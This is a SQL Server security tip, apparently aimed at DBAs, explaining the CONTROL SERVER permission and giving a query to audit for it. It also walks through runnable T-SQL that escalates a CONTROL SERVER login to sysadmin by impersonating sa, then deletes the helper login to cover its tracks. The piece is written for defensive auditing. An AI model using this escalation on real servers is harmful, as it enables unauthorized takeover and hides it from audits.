SQL Sentry Performance Advisor for SQL Server delivers an advanced performance dashboard with relevant Windows and SQL Server metrics in a single view along with detailed insight of heavy SQL, blocking, deadlocks, and disk bottlenecks. Performance Advisor is packed with ground-breaking features that are not found in any other performance monitoring software, all designed with the singular goal of simplifying the process of optimizing your SQL Server performance.
I've been tasked with securing my SQL Servers and I need to write scripts to audit them periodically to ensure they are all right. Recently I learned that I need to audit for CONTROL SERVER rights on any SQL Servers I have that are 2005 or above. In this tip we cover what CONTROL SERVER is, how to detect its use and a possible way to exploit this permission.
With SQL Server 2005, a new security model was introduced which allows for more granular permissions. Among the things you can now place permissions on is the SQL Server itself (represented by the Server securable). The CONTROL permission means one can do anything that an owner can do with respect to that securable. So if you have CONTROL SERVER permissions, you have the ability to completely control the SQL Server in question.
The reason it's brought up is that if you're just auditing for the traditional SQL Server server roles, like sysadmin, you won't notice this permission. So if I'm an attacker who wants to maintain access to your system, this is what I'd give myself. It gives me the rights I need (or the ability to obtain the rights I need) and it won't show up on most security reports.
Detecting Control Server Permissions
First, you detect this permission using the below query:
SELECT login.name, perm.permission_name, perm.state_desc FROM sys.server_permissions perm JOIN sys.server_principals login ON perm.grantee_principal_id = login.principal_id WHERE permission_name = 'CONTROL SERVER';
What Can Someone Do With Control Server Permissions
To see what someone with CONTROL SERVER permissions can do, let's first create such a login. Please ensure that you do this on a development or demonstration SQL Server, and not in production:
CREATE LOGIN [LoginWithControl] WITH PASSWORD = 'PickAStr0ng0ne$'; GO GRANT CONTROL SERVER TO [LoginWithControl]; GO
Now that we have the login, connect to SQL Server as that login and attempt to execute these commands. They should fail, which might give one a false sense of security.
/* This will fail. Thankfully. */ EXEC sp_addsrvrolemember 'LoginWithControl', 'SysAdmin'; GO
/* This, too, will fail */ GRANT IMPERSONATE ON LOGIN::sa TO [LoginWithControl]; GO
The trick is to create a login to which you know the password (if you have control of the server, you can create, alter, and delete logins) and then grant that account permission to impersonate a sysadmin role member. By the way, members of the securityadmin server role can execute the very same exploit.
CREATE LOGIN [EscalatedAccount] WITH PASSWORD = 'S0meP4ssword%';
GO GRANT IMPERSONATE ON LOGIN::sa TO [EscalatedAccount]; GO
Now login with this new account. Once you've done so, execute the following query and you'll see that the login with CONTROL SERVER rights has successfully elevated its permissions through this exploit.
EXECUTE AS LOGIN = 'sa'; GO
EXEC sp_addsrvrolemember 'LoginWithControl', 'sysadmin'; GO
EXEC sp_helpsrvrolemember 'sysadmin'; GO
Obviously, you can eliminate the EscalatedAccount login once you are done with what you needed to do and remove yourself from the sysadmin role to cover your tracks. This would prevent being detected for having rights in the ways typically expected.
So be aware of this possible exploit for your SQL Server and take the necessary action to prevent any issues.
Implement the permissions check as an automated script to run against your servers.
Good article on the CONTROL permission. Another thing to note is that by giving DENY to CONTROL at the server level it essentially locks the user out as if you've disabled the login/user. This is also true at any level for permissions, including database, schema, and object level. The CONTROL permission also overrides any GRANT you may have on an object, even an explicit GRANT SELECT.